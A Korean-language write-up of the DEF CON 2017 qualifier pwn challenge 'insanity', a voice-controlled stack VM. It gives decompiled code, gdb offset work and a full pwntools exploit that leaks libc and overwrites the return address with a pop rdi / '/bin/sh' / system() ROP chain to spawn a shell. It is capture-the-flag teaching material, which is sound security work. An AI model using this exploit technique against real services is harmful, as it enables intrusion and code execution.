- Created by Lazenca.0x0 on Jun 06, 2017
List
Infomation
Description
Are you a chicken?
insanity_thereisnorightandwrongtheresonlyfunandboring.quals.shallweplayaga.me:18888
Files
File
Source Code
Writeup
File information
lazenca0x0@ubuntu:~/CTF/DEFCON2017/insanity$ file insanity insanity: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=6ea3c95d733e8a74075300acbba43d54a23b56c3, stripped lazenca0x0@ubuntu:~/CTF/DEFCON2017/insanity$ checksec.sh --file insanity RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH insanity lazenca0x0@ubuntu:~/CTF/DEFCON2017/insanity$
Binary analysis
Main(voice command system)
- 해당 함수는 다음과 같은 기능을 합니다.
- 해당 프로그램에서 pocketsphinx, SphinxBase, zlib 라이브러리를 사용하고 있습니다.
- 해당 라이브러리 들은 음성 data를 Text로 변환해주는 라이브러리 입니다.
- CMDs.cmdList[0]영역에 CMDs 주소 값과 0x8000000000000000을 OR 연산한 값을 저장합니다.
- 해당 프로그램은 사용자로 부터 입력받을 data의 크기 값을 입력받습니다.(read() 함수이용)
- 해당 값은 65536 를 넘을 수 없습니다.
- 그리고 read()함수를 이용해 사용자로 부터 음성 Data를 입력 받습니다.
- 음성 data는zlib라이브러리를 이용해 압축을 해제합니다.
- 압축 해제 된 음성 데이터는 _mm_xor_si128() 함수에 의해 xor 연산이 진행됩니다.
- xor연산시 8bit씩 진행되며, xor연산에 사용되는 키는 0x80 입니다.
- 복호화 된 음성 데이터를 samples_8bit, samples_16bit 에 저장됩니다.
- 즉, 전달되는 음성 data는 0x80을 이용해 xor 연산이 되어 있어야 하며, zlib 라이브러리를 이용해 압축되어 있어야 합니다.
- 가공된 음성 data는 ps_get_hyp() 함수에 의해 text로 변경된 값을 return 합니다.
- return 된 문자열에서 "insanity" 단어의 갯수를 계산합니다.
- 그리고 "insane" 단어가 나타나면 "insanity" 단어 갯수를 CMDs.cmdList[] 에 저장합니다.
Main - voice command system
signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
...
v71 = *MK_FP(__FS__, 40LL);
keyPattern[0] = -9223231297218904064LL;
keyPattern[0] = -9223231297218904064LL;
ytinasni = 'ytinasni';
v68 = 0;
signal(14, handler);
alarm(0x1Eu);
setbuf(stdout, 0LL);
memset(&CMDs, 0, sizeof(CMDs));
err_set_logfp(0LL, 0LL);
v3 = ps_args(0LL);
config = cmd_ln_init(
0LL,
v3,
1LL,
"-hmm",
"./model/en-us",
"-lm",
"./model/en-us.lm.bin",
"-dict",
"./model/cmudict-en-us.dict",
0LL);
if ( config )
{
decoder = ps_init(config);
if ( decoder )
{
cmdMaxCount = 2;
CMDs.cmdList[0] = (unsigned __int64)&CMDs | 0x8000000000000000LL;
while ( 1 )
{
LABEL_4:
alarm(0x1Eu);
len = read(0, &score, 4uLL);
if ( len <= 0 )
goto LABEL_20;
if ( !score )
break;
ps_start_utt(decoder, &score);
write(1, ".", 1uLL);
memset(&stream, 0, sizeof(stream));
ret = inflateInit_(&stream, "1.2.8", 112LL);
if ( ret )
goto LABEL_20;
LABEL_7:
v8 = score;
if ( score )
{
if ( ret != 1 )
{
if ( score >= 0x10001 )
v8 = 0x10000;
count = 0;
while ( 1 )
{
v10 = read(0, &input_buf[count], v8 - count);
if ( !v10 )
break;
count += v10;
if ( v8 <= count )
{
score -= v8;
stream.avail_in = v8;
stream.next_in = input_buf;
while ( 1 )
{
stream.avail_out = 0x10000;
stream.next_out = &data8bit;
v18 = inflate(&stream, 0LL);
ret = v18;
if ( (unsigned int)(v18 + 4) <= 6 )
{
if ( (1LL << ((unsigned __int8)v18 + 4)) & 0x47 )
goto LABEL_20;
}
length = 0x10000LL - stream.avail_out;
pLoad = (__m128i *)&data8bit;
pStore = (__m128i *)&data16bit;
block = ((0x10000 - (unsigned __int64)stream.avail_out) >> 5) + 1;
key = _mm_stream_load_si128((__m128i *)keyPattern);
do
{
x0 = _mm_stream_load_si128(pLoad);
x1 = _mm_stream_load_si128(pLoad + 1);
_mm_stream_si128(pStore, _mm_xor_si128(_mm_unpacklo_epi8(0LL, x0), key));
_mm_stream_si128(pStore + 1, _mm_xor_si128(_mm_unpackhi_epi8(0LL, x0), key));
_mm_stream_si128(pStore + 2, _mm_xor_si128(_mm_unpacklo_epi8(0LL, x1), key));
_mm_stream_si128(pStore + 3, _mm_xor_si128(_mm_unpackhi_epi8(0LL, x1), key));
pStore += 4;
pLoad += 2;
--block;
}
while ( block );
alarm(0x1Eu);
ps_process_raw(decoder, &data16bit, length, 0LL, 0LL);
if ( stream.avail_out )
goto LABEL_7;
}
}
}
}
goto LABEL_20;
}
if ( ret != 1 )
goto LABEL_20;
command = 0;
count_1 = 0;
ps_end_utt(decoder);
hypString = (const char *)ps_get_hyp(decoder, &v61);
while ( hypString[count_1] && (unsigned int)(cmdMaxCount - 2) <= 0x3E8 )
{
if ( !memcmp(&hypString[count_1], "insanity ", 9uLL) )
{
++command;
count_1 += 9;
}
else
{
if ( memcmp(&hypString[count_1], "insane", 7uLL) )
goto LABEL_4;
tmp = command;
count_1 += 7;
command = 0;
CMDs.cmdList[cmdMaxCount++] = tmp;
}
}
}
v23 = len;
write(1, "\n", 1uLL);
Main(Processing function)
- 해당 영역의 코드는 다음과 같은 기능을 합니다.
- CMDs.cmdList[] 에서 저장된 command 번호를 불러옵니다.
- command는 9 보다 클수는 없습니다.
- 해당 프로그램에서 지원하는 기능은 다음과 같습니다.
- 여기서 주의해야 할 부분은 CMDs[] 배열에 저장된 데이터를 가져오는 부분입니다.
- 연산을 할 때 사용되는 데이터를 가져올 때는 cmdMaxCount에 저장된 값을 사용하고 있습니다.
- 프로그램의 코드를 가져올 때는 codeCount의 값을 사용하고 있습니다.
- 여기서 주의해야 할 부분은 CMDs[] 배열에 저장된 데이터를 가져오는 부분입니다.
Explain function.
| Command number | Function | Explain |
|---|---|---|
| 1 | "insanity" 단어를 스택에 저장합니다. | |
| 2 | Add | CMDs.cmdList[]에서 2개의 값(cmdMaxCount, cmdMaxCount -1)을 가져와 덧셈한 값을 CMDs.cmdList[cmdMaxCount -1]에 저장합니다. |
| 3 | Sub | CMDs.cmdList[]에서 2개의 값(cmdMaxCount, cmdMaxCount -1)을 가져와 뺄셈한 값을 CMDs.cmdList[cmdMaxCount -1]에 저장합니다. |
| 4 | Mul | CMDs.cmdList[]에서 2개의 값(cmdMaxCount, cmdMaxCount -1)을 가져와 곱셈한 값을 CMDs.cmdList[cmdMaxCount -1]에 저장합니다. |
| 5 | Cmp | CMDs.cmdList[]에서 2개의 값(cmdMaxCount, cmdMaxCount -1)을 가져와 비교한 값을 CMDs.cmdList[cmdMaxCount -1]에 저장합니다. |
| 6 | load |
|
| 7 | Store |
|
| 8 | Jump |
|
| default | Save |
|
Main - Processing function
...
write(1, "\n", 1uLL);
v24 = cmdMaxCount;
CMDs.cmdList[cmdMaxCount] = 0LL;
CMDs.cmdList[1] = (unsigned __int64)&hypString[v23] | 0x8000000000000000LL;
getCMD = CMDs.cmdList[2];
if ( CMDs.cmdList[2] )
{
codeCount = 2;
while ( 2 )
{
switch ( getCMD )
{
case 1LL:
if ( cmdMaxCount == 999 )
goto LABEL_76;
CMDs.cmdList[++cmdMaxCount] = (unsigned __int64)&ytinasni | 0x8000000000000000LL;
goto LABEL_36;
case 2LL:
target = cmdMaxCount - 1;
add_1 = CMDs.cmdList[cmdMaxCount];
add_2 = CMDs.cmdList[cmdMaxCount - 1];
if ( (add_1 & add_2) < 0 )
{
v53 = (const char *)target;
srcMEM = (char *)(add_1 & 0x7FFFFFFFFFFFFFFFLL);
srcSTR = (char *)(add_2 & 0x7FFFFFFFFFFFFFFFLL);
v56 = strlen(srcMEM) + 1;
dest = malloc((signed int)(v56 - 1 + strlen((const char *)(add_2 & 0x7FFFFFFFFFFFFFFFLL)) + 1));
memcpy(dest, srcMEM, v56 - 1);
strcpy((char *)dest + v56 - 1, srcSTR);
v58 = cmdMaxCount - 1;
CMDs.cmdList[(_QWORD)v53] = (__int64)dest;
if ( &ytinasni != (__int64 *)srcMEM )
{
free(srcMEM);
v58 = cmdMaxCount - 1;
}
cmdMaxCount = v58;
if ( srcSTR != (char *)&ytinasni )
free(srcSTR);
}
else
{
if ( add_2 < 0 || add_1 < 0 )
{
puts("Invalid add\n");
_exit(0);
}
--cmdMaxCount;
CMDs.cmdList[target] = add_1 + add_2;
}
goto LABEL_36;
case 3LL:
target = cmdMaxCount - 1;
subtract_1 = CMDs.cmdList[cmdMaxCount];
subtract_2 = CMDs.cmdList[cmdMaxCount - 1];
if ( subtract_2 < 0 || subtract_1 < 0 )
{
puts("Invalid subtract\n");
_exit(0);
}
--cmdMaxCount;
CMDs.cmdList[target] = subtract_2 - subtract_1;
goto LABEL_36;
case 4LL:
target = cmdMaxCount - 1;
mul_1 = CMDs.cmdList[cmdMaxCount];
mul_2 = CMDs.cmdList[cmdMaxCount - 1];
if ( mul_2 < 0 || mul_1 < 0 )
{
puts("Invalid multiply\n");
_exit(0);
}
--cmdMaxCount;
CMDs.cmdList[target] = mul_2 * mul_1;
goto LABEL_36;
case 5LL:
target = cmdMaxCount - 1;
compare_1 = CMDs.cmdList[cmdMaxCount];
compare_2 = CMDs.cmdList[cmdMaxCount - 1];
if ( (compare_1 & compare_2) < 0 )
{
v51 = strcmp(
(const char *)(compare_1 & 0x7FFFFFFFFFFFFFFFLL),
(const char *)(compare_2 & 0x7FFFFFFFFFFFFFFFLL));
v52 = cmdMaxCount--;
CMDs.cmdList[v52 - 2] = v51 == 0;
}
else
{
if ( compare_2 < 0 || compare_1 < 0 )
{
puts("Invalid compare\n");
_exit(0);
}
--cmdMaxCount;
CMDs.cmdList[target] = compare_1 == compare_2;
}
goto LABEL_36;
case 6LL:
firstLoad = CMDs.cmdList[++codeCount];
if ( firstLoad > 1 || (secLoad = CMDs.cmdList[firstLoad], secLoad >= 0) )
{
puts("Invalid load\n");
_exit(0);
}
CMDs.cmdList[cmdMaxCount] = *(_QWORD *)((secLoad & 0x7FFFFFFFFFFFFFFFLL) + 8 * CMDs.cmdList[cmdMaxCount]);
goto LABEL_36;
case 7LL:
v35 = cmdMaxCount;
cmdMaxCount -= 2;
v36 = v35 - 1;
storeDest = CMDs.cmdList[v35];
storeSrc = CMDs.cmdList[v36];
if ( storeDest < 0 )
{
puts("Invalid store\n");
_exit(0);
}
CMDs.cmdList[storeDest] = storeSrc;
goto LABEL_36;
case 8LL:
v41 = cmdMaxCount;
cmdMaxCount -= 2;
jump_1 = CMDs.cmdList[v41];
jump_2 = CMDs.cmdList[(signed int)v41 - 1];
if ( jump_2 < 0 || jump_1 < 0 )
{
puts("Invalid jump\n");
_exit(0);
}
tmp_1 = codeCount + jump_1 - 1;
if ( jump_2 )
codeCount = tmp_1;
goto LABEL_36;
case 9LL:
if ( cmdMaxCount == 999 )
goto LABEL_76;
v27 = (struct_v27 *)malloc(2uLL);
v27->byte1 = 0;
v27->byte0 = CMDs.cmdList[cmdMaxCount - 1];
CMDs.cmdList[cmdMaxCount] = (unsigned __int64)v27 | 0x8000000000000000LL;
goto LABEL_36;
default:
if ( cmdMaxCount == 999 )
goto LABEL_76;
CMDs.cmdList[++cmdMaxCount] = getCMD - 10;
LABEL_36:
getCMD = CMDs.cmdList[++codeCount];
if ( getCMD )
continue;
v24 = cmdMaxCount;
break;
}
break;
}
}
v28 = CMDs.cmdList[v24];
if ( v28 >= 0 )
{
__printf_chk(1LL, "result: %lx\n", v28);
LABEL_20:
result = 0LL;
goto LABEL_21;
}
__printf_chk(1LL, "result: %s\n", v28 & 0x7FFFFFFFFFFFFFFFLL);
result = 0LL;
}
else
{
fwrite("Failed to create recognizer, see log for details\n", 1uLL, 0x31uLL, stderr);
result = 0xFFFFFFFFLL;
}
}
else
{
fwrite("Failed to create config object, see log for details\n", 1uLL, 0x34uLL, stderr);
result = 0xFFFFFFFFLL;
}
LABEL_21:
if ( *MK_FP(__FS__, 40LL) == v71 )
return result;
LABEL_76:
puts("Internal limitation\n");
_exit(0);
return result;
}
Structure of Exploit code
- Jump 기능을 이용해 Fake code가 저장되어있는 영역으로 이동합니다.
- Add, Mul 기능을 이용해 필요한 값을 계산합니다.
- Fake code를 이용해 Stack 영역을 Overwrite 합니다.
- system()
- Save 기능을 이용해 Offset(libc address)을 저장합니다.
- Load 기능을 이용해 libc address를 leak합니다.
- CMDs.cmdList[0]영역에 저장된 값을 가져오기 위해 '0'을 추가합니다.
- 즉, CMDs.cmdList[0]영역에 저장된 값 CMDs 주소 값에 Offset(libc address)을 더한 주소에 저장된 값을 CMDs.cmdList[]에 저장합니다.
- Save 기능을 이용해 Offset(system)을 저장합니다.
- Add 기능을 이용해 system() 함수의 주소를 계산합니다.
- Save 기능을 이용해 Offset(ret + 2)을 저장합니다.
- Store 기능을 이용해 ret 영역에 계산된 값을 저장합니다.
- "/bin/sh"
- Save 기능을 이용해 Offset(libc address)을 저장합니다.
- Load 기능을 이용해 libc address를 leak합니다.
- system()부분에서 설명한 내용과 같이 구현 및 동작합니다.
- Save 기능을 이용해 Offset("/bin/sh")을 저장합니다.
- Add 기능을 이용해 "/bin/sh" 문자열의 주소를 계산합니다.
- Save 기능을 이용해 Offset(ret + 1)을 저장합니다.
- Store 기능을 이용해 ret 영역에 계산된 값을 저장합니다.
- "POP RDI"
- Save 기능을 이용해 Offset(libc address)을 저장합니다.
- Load 기능을 이용해 libc address를 leak합니다.
- system()부분에서 설명한 내용과 같이 구현 및 동작합니다.
- Save 기능을 이용해 Offset(POP RDI)을 저장합니다.
- Add 기능을 이용해 "POP RDI" 명령어의 주소를 계산합니다.
- Save 기능을 이용해 Offset(ret + 2)을 저장합니다.
- Store 기능을 이용해 ret 영역에 계산된 값을 저장합니다.
- system()
- The following information is required for an attack:
- Voice Files
- Create audio files
- Encrypt audio file
- Space to store Fake code
- Leak libc address
- Offset
- Ret
- Area where fake code is stored
- system
Information for attack
Create a voice files
- 음성 인식을 위한 Voice 파일을 생성하기 위해 Mac OS에서 지원하는 say 커맨드를 이용합니다.
- say에서 다음과 같이 사용 가능한 음성을 선택할 수 있습니다.
- Alex, Fred, Victoria 는 en_US를 지원하지만, 인식률이 좋지않았습니다.
- 그래서 인식률이 좋은 Samantha를 사용합니다.
say -v ?|grep en_US
**********:Voices lazenca0x0$ say -v ?|grep en_US Alex en_US # Most people recognize me by my voice. Fred en_US # I sure like being inside this fancy computer Samantha en_US # Hello, my name is Samantha. I am an American-English voice. Victoria en_US # Isn't it nice to have a computer that will talk to you?
- 다음과 같은 script를 이용해 음성 파일을 생성합니다.
- "insanity" 단어가 5개 이상 포함된 음성 파일을 생성할 때는 -r 옵션을 이용해 발음 속도를 조절 해야합니다.
- 속도를 조절하지 않을 경우 생성되는 음성 파일의 크기가 해당 문제에서 허용하는 음성 데이터의 크기 보다 크게 됩니다.
CreateVoiceFiles.py
import os
import sys
command = ''
for i in range(1,9):
if(i < 5):
command = "say -o insanity-16-" + str(i) + ".wav --data-format=LEI16@16000 -r 200 -v Samantha "+ "insanity "*i + "insane"
else:
command = "say -o insanity-16-" + str(i) + ".wav --data-format=LEI16@16000 -r 260 -v Samantha "+ "insanity "*i + "insane"
os.system(command)
- 해당 script를 이용해 생성한 음성 데이터 입니다.
**********:Voices lazenca0x0$ ls -al total 1440 drwxr-xr-x 12 JP11704 staff 408 5 18 18:57 . drwx------+ 14 JP11704 staff 476 5 18 18:05 .. -rw-r--r--@ 1 JP11704 staff 6148 5 18 16:43 .DS_Store -rw-r--r-- 1 JP11704 staff 43848 5 18 18:57 insanity-16-1.wav -rw-r--r-- 1 JP11704 staff 60742 5 18 18:57 insanity-16-2.wav -rw-r--r-- 1 JP11704 staff 78706 5 18 18:57 insanity-16-3.wav -rw-r--r-- 1 JP11704 staff 96672 5 18 18:57 insanity-16-4.wav -rw-r--r-- 1 JP11704 staff 87474 5 18 18:57 insanity-16-5.wav -rw-r--r-- 1 JP11704 staff 100942 5 18 18:57 insanity-16-6.wav -rw-r--r-- 1 JP11704 staff 114410 5 18 18:57 insanity-16-7.wav -rw-r--r-- 1 JP11704 staff 127878 5 18 18:57 insanity-16-8.wav -rw-r--r--@ 1 JP11704 staff 365 5 18 18:57 script.py **********:Voices lazenca0x0$
Encrypt audio file
- 다음과 같이 음성 데이터를 변환합니다.
- 음성 데이터의 크기를 줄이기 위해 상위 bit만 가져와서 변환합니다.
def converter(filePath):
datas = 0
audioData = []
with open(filePath) as f:
f.read(0xe0)
while True:
lBit8 = f.read(1)
if not lBit8:
break
hBit8 = f.read(1)
if not hBit8:
break
hBit8_hex = ord(hBit8)
audioData.append(chr(hBit8_hex^0x80))
datas+=1
log.info("File name : " + filePath + " " + str(hex(datas)))
return ''.join(audioData)
Space to store Fake code
- 다음과 같은 Script를 이용해 Fake code를 저장할 공간을 확인할 수 있습니다.
import os
import zlib
from pwn import *
HOST = "127.0.0.1"
PORT = 9001
gPOC = []
p = remote(HOST, PORT)
gPOC.append(p64(0x4141))
gPOC.append(p64(0x4242))
gPOC.append(p64(0x4343))
gPOC.append(p64(0x4444))
data = zlib.compress(''.join(gPOC))
sleep(20)
p.send(p32(len(data)))
p.send(data)
p.send(p32(0))
p.interactive()
- 해당 프로그램에 전달된 음성 Data는 sampel_8bit 영역에 저장되어 있습니다.
gdb-peda$ b *0x55b4c2947000 + 0x1180 Breakpoint 1 at 0x55b4c2948180 gdb-peda$ c Breakpoint 1, 0x000055b4c2948180 in ?? () gdb-peda$ n 0x000055b4c2948188 in ?? () gdb-peda$ i r rsi rsi 0x7ffd3c950160 0x7ffd3c950160 gdb-peda$ x/10gx 0x7ffd3c950160 0x7ffd3c950160: 0x0000000000004141 0x0000000000004242 0x7ffd3c950170: 0x0000000000004343 0x0000000000004444 0x7ffd3c950180: 0x0000000000000000 0x0000000000000000 0x7ffd3c950190: 0x0000000000000000 0x0000000000000000 0x7ffd3c9501a0: 0x0000000000000000 0x0000000000000000 gdb-peda$
- 하지만 음성 데이터가 포함되어 있지 않아 Error가 발생하고 프로그램이 종료됩니다.
gdb-peda$ c Continuing. Program received signal SIGSEGV, Segmentation fault.
- 해당 문제를 해결하기 위해 "Fake code" 뒤에 음성데이터를 추가해서 전달 합니다.
- 음성 데이터 추가되어 정상적으로 명령 Code가 추가되었습니다.
gdb-peda$ b *0x555df242e000 + 0x137f Breakpoint 1 at 0x555df242f37f gdb-peda$ c Breakpoint 1, 0x0000555df242f37f in ?? () gdb-peda$ p/x $rsp+$rdx*8+0xe0 $1 = 0x7fffc7b7b298 gdb-peda$ x/4gx 0x7fffc7b7b298 - 0x18 0x7fffc7b7b280: 0x80007fffc7b7b280 0x0000000000000000 0x7fffc7b7b290: 0x0000000000000001 0x0000000000000000 gdb-peda$ x/20 0x7fffc7b7b280 + 0x21f40 0x7fffc7b9d1c0: 0x7974696e61736e69 0x0000000000000000 0x7fffc7b9d1d0: 0x0000000000004141 0x0000000000004242 0x7fffc7b9d1e0: 0x0000000000004343 0x0000000000004444 0x7fffc7b9d1f0: 0x8080808080808080 0x8080808080808080 0x7fffc7b9d200: 0x8080808080808080 0x8080808080808080 0x7fffc7b9d210: 0x8080808080808080 0x8080808080808080 0x7fffc7b9d220: 0x8080808080808080 0x8080808080808080 0x7fffc7b9d230: 0x8080808080808080 0x8080808080808080 0x7fffc7b9d240: 0x8080808080808080 0x8080808080808080 0x7fffc7b9d250: 0x8080808080808080 0x8080808080808080 gdb-peda$
Offset(CMDS - sample_8bit)
- 다음과 같은 방법으로 offset 값을 얻을 수 있습니다.
0x7fffc7b9d1c0(sample_8bit) - 0x7fffc7b7b280(CMDS) = 0x21f40 / 8 = 0x43e8(17384)
Offset(CMDS - ret)
- 다음과 같은 방법으로 offset 값을 얻을 수 있습니다.
0x7fffc7bbd218(ret) - 0x7fffc7b7b280(CMDS) = 0x41f98 / 8 = 0x83f3(33779)
gdb-peda$ b *0x555df242e000 + 0x128e Breakpoint 2 at 0x555df242f28e gdb-peda$ c Continuing. gdb-peda$ i r rsp rsp 0x7fffc7bbd218 0x7fffc7bbd218 gdb-peda$ p/x 0x7fffc7bbd218 - 0x7fffc7b7b280 $12 = 0x41f98 gdb-peda$ p/d 0x41f98 / 8 $13 = 33779 gdb-peda$ x/10gx 0x7fffc7bbd218 0x7fffc7bbd218: 0x00007fbcb9600830 0x0000000000000000 0x7fffc7bbd228: 0x00007fffc7bbd2f8 0x0000000100000000 0x7fffc7bbd238: 0x0000555df242eef0 0x0000000000000000 0x7fffc7bbd248: 0x8f47125c3d72d0f9 0x0000555df242f8e8 0x7fffc7bbd258: 0x00007fffc7bbd2f0 0x0000000000000000 gdb-peda$
Leak libc address
- 다음과 같은 방법으로 libc address를 얻을 수 있습니다.
- ret 명령어 호출시 사용되는 rsp 영역에 libc address가 저장되어 있습니다.
- 해당 주소를 Base address로 사용할 수 있습니다.
gdb-peda$ x/2gx 0x7fffc7bbd218
0x7fffc7bbd218: 0x00007fbcb9600830 0x0000000000000000
gdb-peda$ info proc map
process 4148
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x555df242e000 0x555df2430000 0x2000 0x0 /home/lazenca0x0/CTF/DEFCON2017/insanity/insanity
0x555df2630000 0x555df2631000 0x1000 0x2000 /home/lazenca0x0/CTF/DEFCON2017/insanity/insanity
0x555df2631000 0x555df2632000 0x1000 0x3000 /home/lazenca0x0/CTF/DEFCON2017/insanity/insanity
0x555df2a0b000 0x555df591c000 0x2f11000 0x0 [heap]
0x7fbcb573a000 0x7fbcb5ae4000 0x3aa000 0x0
0x7fbcb5e8e000 0x7fbcb8b39000 0x2cab000 0x0
0x7fbcb8b39000 0x7fbcb8d1a000 0x1e1000 0x0 /home/lazenca0x0/CTF/DEFCON2017/insanity/model/en-us/sendump
0x7fbcb8d1a000 0x7fbcb8de7000 0xcd000 0x0
0x7fbcb8de7000 0x7fbcb90ba000 0x2d3000 0x0 /home/lazenca0x0/CTF/DEFCON2017/insanity/model/en-us/mdef
0x7fbcb90ba000 0x7fbcb90d2000 0x18000 0x0 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7fbcb90d2000 0x7fbcb92d1000 0x1ff000 0x18000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7fbcb92d1000 0x7fbcb92d2000 0x1000 0x17000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7fbcb92d2000 0x7fbcb92d3000 0x1000 0x18000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7fbcb92d3000 0x7fbcb92d7000 0x4000 0x0
0x7fbcb92d7000 0x7fbcb93df000 0x108000 0x0 /lib/x86_64-linux-gnu/libm-2.23.so
0x7fbcb93df000 0x7fbcb95de000 0x1ff000 0x108000 /lib/x86_64-linux-gnu/libm-2.23.so
0x7fbcb95de000 0x7fbcb95df000 0x1000 0x107000 /lib/x86_64-linux-gnu/libm-2.23.so
0x7fbcb95df000 0x7fbcb95e0000 0x1000 0x108000 /lib/x86_64-linux-gnu/libm-2.23.so
0x7fbcb95e0000 0x7fbcb979f000 0x1bf000 0x0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7fbcb979f000 0x7fbcb999f000 0x200000 0x1bf000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7fbcb999f000 0x7fbcb99a3000 0x4000 0x1bf000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7fbcb99a3000 0x7fbcb99a5000 0x2000 0x1c3000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7fbcb99a5000 0x7fbcb99a9000 0x4000 0x0
0x7fbcb99a9000 0x7fbcb99c2000 0x19000 0x0 /lib/x86_64-linux-gnu/libz.so.1.2.8
...
gdb-peda$ p/x 0x00007fbcb9600830 -0x7fbcb95e0000
$14 = 0x20830
Offset(Leak libc address- Base libc address)
- 다음과 같은 방벙을 이용해 offset 값을 얻을 수 있습니다.
gdb-peda$ x/3i 0x00007fbcb9600830 0x7fbcb9600830 <__libc_start_main+240>: mov edi,eax 0x7fbcb9600832 <__libc_start_main+242>: call 0x7fbcb961a030 <__GI_exit> 0x7fbcb9600837 <__libc_start_main+247>: xor edx,edx gdb-peda$ p/x 0x00007fbcb9600830 - 0x7fbcb95e0000 $22 = 0x20830 gdb-peda$ p/d 0x20830 / 8 $24 = 16646
Offset("/bin/sh" address)
- 다음과 같은 방벙을 이용해 offset 값을 얻을 수 있습니다.
gdb-peda$ find "/bin/sh" libc
Searching for '/bin/sh' in: libc ranges
Found 1 results, display max 1 items:
libc : 0x7fbcb976c177 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ p/x 0x7fbcb976c177 - 0x7fbcb95e0000
$2 = 0x18c177
Offset(POP rdi)
- RDI 레지스터에 "/bin/sh"를 저장하기 위해 "POP rdi" 가 필요합니다.
gdb-peda$ info proc map
process 3204
Mapped address spaces:
Start Addr End Addr Size Offset objfile
...
0x7f8485bce000 0x7f8485d8d000 0x1bf000 0x0 /lib/x86_64-linux-gnu/libc-2.23.so
...
gdb-peda$ ropsearch 'pop rdi;' libc
Searching for ROP gadget: 'pop rdi;' in: libc ranges
0x00007f8485cac800 : (b'5fc3') pop rdi; ret
0x00007f8485d0b802 : (b'5fc3') pop rdi; ret
0x00007f8485c00bef : (b'5fc3') pop rdi; ret
0x00007f8485c97c02 : (b'5fc3') pop rdi; ret
0x00007f8485ced87f : (b'5fc3') pop rdi; ret
0x00007f8485ca8fda : (b'5fc3') pop rdi; ret
0x00007f8485cdb01a : (b'5fc3') pop rdi; ret
0x00007f8485bf601b : (b'5fc3') pop rdi; ret
0x00007f8485c42825 : (b'5fc3') pop rdi; ret
0x00007f8485c96026 : (b'5fc3') pop rdi; ret
0x00007f8485ccf027 : (b'5fc3') pop rdi; ret
0x00007f8485c56828 : (b'5fc3') pop rdi; ret
0x00007f8485c97831 : (b'5fc3') pop rdi; ret
0x00007f8485bf4835 : (b'5fc3') pop rdi; ret
0x00007f8485cdb039 : (b'5fc3') pop rdi; ret
0x00007f8485d0503e : (b'5fc3') pop rdi; ret
0x00007f8485cf283f : (b'5fc3') pop rdi; ret
0x00007f8485cb8046 : (b'5fc3') pop rdi; ret
0x00007f8485bf0848 : (b'5fc3') pop rdi; ret
0x00007f8485bf2049 : (b'5fc3') pop rdi; ret
0x00007f8485c9804b : (b'5fc3') pop rdi; ret
0x00007f8485cfc962 : (b'5fc3') pop rdi; ret
0x00007f8485cac852 : (b'5fc3') pop rdi; ret
0x00007f8485cfc856 : (b'5fc3') pop rdi; ret
0x00007f8485bf685c : (b'5fc3') pop rdi; ret
--More--(25/884)q
gdb-peda$ p/x 0x00007f8485cac800 - 0x7f8485bce000
$1 = 0xde800
gdb-peda$ c
Exploit Code
- socat tcp-listen:9001,reuseaddr,fork,bind=0.0.0.0 exec:./insanity
Exploit.py
import os
import zlib
from pwn import *
BINARY_PATH = './insanity'
LIBC_PATH = '/lib/x86_64-linux-gnu/libc-2.23.so'
binary = ELF(BINARY_PATH)
libc = ELF(LIBC_PATH)
HOST = "127.0.0.1"
PORT = 9001
gAudio = []
gCmds = []
gCode = []
gPOC = []
pocCode = ''
offRet = 0x20830
offSystem = libc.symbols['system']
offBinsh = 0x18c177
offPOPrdi = 0xde800
def converter(filePath):
datas = 0
audioData = []
with open(filePath) as f:
while True:
lBit8 = f.read(1)
if not lBit8:
break
hBit8 = f.read(1)
if not hBit8:
break
hBit8_hex = ord(hBit8)
audioData.append(chr(hBit8_hex^0x80))
datas+=1
log.info("File name : " + filePath + " " + str(hex(datas)))
return ''.join(audioData)
def loadVoiceFile():
for i in range(0,8):
gAudio.append(converter('./Voices/insanity-16-'+str(i+1)+'.wav'))
def sendMSG(msg):
data = zlib.compress(msg)
p.send(p32(len(data)))
p.send(data)
def createCode(val):
Cmds = []
Data = []
tmp = 0
while(val):
tmp = val % 2
if(tmp == 0):
val = val / 2
Cmds.append(4)
Data.append(2)
elif(tmp == 1):
val = val - 1
Cmds.append(2)
Data.append(1)
Cmds.append(4)
Cmds.reverse()
Cmds.append(8)
gCode.extend(Cmds)
gCode.extend(Data)
log.info("Program code : " + str(gCode))
p = remote(HOST, PORT)
loadVoiceFile()
createCode(17362)
for i in gCode:
sendMSG(gAudio[i-1])
#system()
gPOC.append(33779 + 10)
gPOC.append(6)
gPOC.append(0)
gPOC.append(offSystem - offRet + 10)
gPOC.append(2)
gPOC.append(33781 + 10)
gPOC.append(7)
#"/bin/sh"
gPOC.append(33779 + 10)
gPOC.append(6)
gPOC.append(0)
gPOC.append(offBinsh - offRet + 10)
gPOC.append(2)
gPOC.append(33780 + 10)
gPOC.append(7)
#POP RDI;
gPOC.append(33779 + 10)
gPOC.append(6)
gPOC.append(0)
gPOC.append(offPOPrdi - offRet + 10)
gPOC.append(2)
gPOC.append(33779 + 10)
gPOC.append(7)
gPOC.append(0)
log.info("Fake Code : " + str(gPOC))
for i in gPOC:
pocCode += p64(i)
pocCode += gAudio[0]
sendMSG(pocCode)
p.send(p32(0))
p.interactive()
Flag
| Flag | The flag is: It's chickens all the way down |
|---|
Related Site
- https://kitctf.de/writeups/defconquals17/insanity
- https://github.com/kitctf/writeups/blob/master/defconquals2017/insanity/pwn.py
- http://www.zlib.net/manual.html
- https://cmusphinx.github.io/doc/sphinxbase/
- http://www.speech.cs.cmu.edu/sphinx/doc/doxygen/pocketsphinx/pocketsphinx_8h.html
- https://askubuntu.com/questions/501910/how-to-text-to-speech-output-using-command-line
- https://msdn.microsoft.com/en-us/library/t5h7783k(v=vs.90).aspx
- https://msdn.microsoft.com/ko-kr/library/xf7k860c(v=vs.100).aspx
